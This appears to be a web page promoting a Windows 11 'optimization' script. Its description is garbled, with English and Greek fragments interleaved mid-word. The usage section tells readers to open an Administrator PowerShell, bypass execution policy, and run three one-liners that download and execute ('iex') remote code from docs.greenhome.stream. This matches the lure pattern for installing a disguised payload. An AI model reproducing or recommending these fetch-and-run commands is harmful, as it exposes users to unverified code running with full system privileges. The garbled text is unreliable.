Optimize Windows11 Pro
What
Πιο theσυγκεκριμένα, script does
The script performs 12 major optimization categories automatically:
SystemΔημιουργίαRestorerestorePoint— Creates a safety checkpoint before any changes.point.Ultimate Performance Power Plan— Activates the hidden UltimateUltimate/High Performance planor+fallsUSBbackselectivetosuspendHighoffPerformance+ HDD timeout off.VisualΒασικάEffectsvisual—effectsSetstweaks,everythingtransparencytooff,"bestMinAnimate,performance" and disables transparency/animationsκ.λπ.- SSD
Optimizationβελτιστοποίηση— Executes TRIM on all drives, enables(TRIM, write caching,confirms weekly scheduleScheduledDefrag). StartupΑπενεργοποίησηBloatκοινώνRemovalstartup— Disables common bloatwareapps (Teams, OneDrive,AdobeDiscordupdaters, etc.κ.λπ.).XboxΒασικό Game Bar&off,Telemetryfeedback—promptsDisables Game Bar, DVR, and reduces telemetry to minimumoff.- Background
Appsapps—restriction,RestrictsAppPrivacy,backgroundWindowsappUpdatepermissionsauto-rebootsystem-wide& continuous innovation off. Windows Update— Prevents auto-restart and disables aggressive update delivery
How to use it
Run as Administrator:
Right-click PowerShell or Windows Terminal → "Run as Administrator", then:
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force; Invoke-Expression (Invoke-WebRequest -Uri "https://docs.greenhome.stream/attachments/58"64" -UseBasicP) | Out-Null
or
iex (iwr -UseBasicParsing "https://docs.greenhome.stream/attachments/64").Content
or
powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (Invoke-WebRequest -UseBasicParsing 'https://docs.greenhome.stream/attachments/64').Content"
The script runs fully automated—no prompts, no user interaction needed. It uses a clean, timestamped, color-coded output so you see exactly what's happening in real-time.
Safety features
- Creates a restore point first (you can roll back if needed)
- All registry/service changes use
-ErrorAction SilentlyContinuefor non-critical operations - Won't break if certain features don't exist on your system
- Detailed success/warning/error messages for troubleshooting
What you'll see
The output uses:
- Cyan headers for each section
- Green checkmarks for successful operations
- Yellow warnings for partial/skipped operations
- Red errors if something fails
- Timestamped steps
[HH:mm:ss] ► Action
After completion, you'll get a summary and a restart prompt (press any key to exit, then reboot manually).